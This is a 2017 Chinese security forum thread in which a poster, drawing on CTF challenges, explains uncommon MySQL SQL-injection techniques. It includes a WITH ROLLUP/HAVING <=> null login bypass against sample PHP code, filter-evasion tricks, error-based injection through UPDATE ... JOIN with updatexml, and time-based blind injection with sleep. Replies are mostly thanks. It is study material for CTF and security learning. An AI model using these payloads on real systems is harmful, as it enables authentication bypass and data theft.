[【通过】] MYSQL偏门技巧

[复制链接]
Au1ge 发表于 2017-5-16 21:53:30 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 7

刷leetcode的时候数据库部分有些题用到了join,想起前段时间PH师傅在小密圈出的题目,几位大佬给出的解答也是用了join,以及无聊看实验吧题目的时候重新看到的with rollup 的bypass方法,于是想重新梳理一下这一类稍微有点偏门的技巧,虽然实战不一定有用,但是最近槽心事太多了还是静下心做点事把。
GROUP BY WITH ROLLUP
这个方法最早是在13年的一个CTF题目上看到的,现在已经变成了一个比较基础的用法。要真正理解这个方法,需要理解with rollup的原理
常规的用法是
SELECT * FROM table_name GROUP BY a WITH ROLLUP
让查询出的增加一条a为NULL的行。
主要被用来bypass类似下面这个验证:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='{$username}';";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['password'] == $password){
        die('right');
    }
}
先验证查询结果行数是否唯一,再验证查询所得密码是否相同。
可以知道
SELECT * FROM users WHERE username='admin' GROUP BY password WITH ROLLUP
会产生一个password为NULL的行,用limit把它取出来就行,然后传入一个空的password会使得NULL == NULL绕过验证。

上面那条语句需要知道一个username的名字,如果不知道的话怎么办,可以用 username='' or 1=1 绕过,如果 or 被过滤了怎么办,可以用 username=''=0 来绕过。

<=>

还是上面那道题,如果逗号被过滤无法用 limit n,1 可以用 limit 1 offset 1绕过,那更严格的,limit被过滤应该怎么办?要知道的是,要想通过with rollup返回一个含有Null的行,必须要查询成功,也就是说查询出的结果至少含有两行,而我们需要把password=null的那一行挑出来。为了知道我们能干什么,需要理解SELECT的语法:

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]
我们当前的语句处于GROUP BY位置,而他的下一条可以使用的语句是HAVING,能不能通过构造HAVING语句找到我们password=null的那一行,当然是可以的。HAVING语句生效的原因是where_condition为true,如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null,万幸的是mysql还有一个比较操作符 <=>,当 null <=> null 的时候会返回1,于是可以构造类似下面的语句:

SELECT * FROM users WHERE username=''=0 GROUP BY password WITH ROLLUP HAVING password <=> null;
这样就可以只查询出password = null的那一行从而bypass验证。

JOIN


mysql中JOIN有三种语法,分别是LEFT JOIN, RIGHT JOIN以及INNER JOIN(JOIN),在SQL注入中的作用主要是构造查询,比如以前ph师傅的那道题:

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($conn, $sql)) {
    echo(mysqli_error($conn));
}
mysqli_close($conn);
在直接打印出错误的情况下,报错注入是最优先的方法,各位表哥都是用了join的方法来构造查询,类似于:

UPDATE `table_name` JOIN (SELECT(updatexml(1,concat(0x7e,user(),0x7e),1))) `a` SET `username`='admin' WHERE id=1;
这个方法主要是使用了UPDATE的跨表更新,官方手册下的评论有一个例子:

UPDATE TABLE_1 LEFT JOIN TABLE_2 ON TABLE_1.COLUMN_1= TABLE_2.COLUMN_2
SET TABLE_1.COLUMN = EXPR WHERE TABLE_2.COLUMN2 IS NULL
其中TABLE_2处可以引入一个子查询从而达到报错注入的目的。

如果没有错误回显的话,时间盲注也是可以的,例如:

UPDATE `table_name` JOIN (SELECT if(1=1,sleep(10),0))) `a` SET `username`='admin' WHERE id=1;
GROUP_CONCAT

其实这不能算是一个偏门技巧,因为其实使用的还是挺多的,GROUP_CONCAT主要用来代替注入中LIMIT被过滤的情况,LIMIT 0,1特征明显,一个关键字一个空格一个逗号都是容易被过滤掉的东西。相比而言GROUP_CONCAT则不那么容易被误伤,并且操作简单比较适合懒人。

评分

参与人数 2酒票 +6 收起 理由
乐清小俊杰 + 1 欢迎加入90!
管理05 + 5 欢迎加入90!

查看全部评分

phithon 发表于 2017-5-16 22:43:16 | 显示全部楼层

90Sec Team|主题 |帖子 |积分 439


可以选择分享到小密圈里来
 楼主 Au1ge 发表于 2017-5-16 23:39:19 | 显示全部楼层

正式成员|主题 |帖子 |积分 7

RE: MYSQL偏门技巧

phithon 发表于 2017-5-16 22:43

可以选择分享到小密圈里来

师傅好,这篇文章大部分都是老东西了,其实最开始是想找下JOIN的其他特殊技巧的,但是看了官方文档觉得JOIN的局限性有点大,大部分能使用的地方没有必要强行使用,实力有限也没有能够想到特殊的奇技淫巧,倒是在看WITH ROLLUP的时候一步步想到了个HAVING NULL <=> NULL的绕过,还是要继续学习一下。
xiaoxus 发表于 2017-5-18 10:58:01 | 显示全部楼层

正式成员|主题 |帖子 |积分 133

表哥,很全,收集了,谢谢
vulntor 发表于 2017-5-23 19:17:30 | 显示全部楼层

正式成员|主题 |帖子 |积分 16

围观p牛
GT4 发表于 2017-6-4 01:34:07 | 显示全部楼层

正式成员|主题 |帖子 |积分 136

好东西 支持下
yexiaoyao 发表于 2017-7-12 10:16:44 | 显示全部楼层

正式成员|主题 |帖子 |积分 15

谢谢表哥的分析
快速回复 返回顶部 返回列表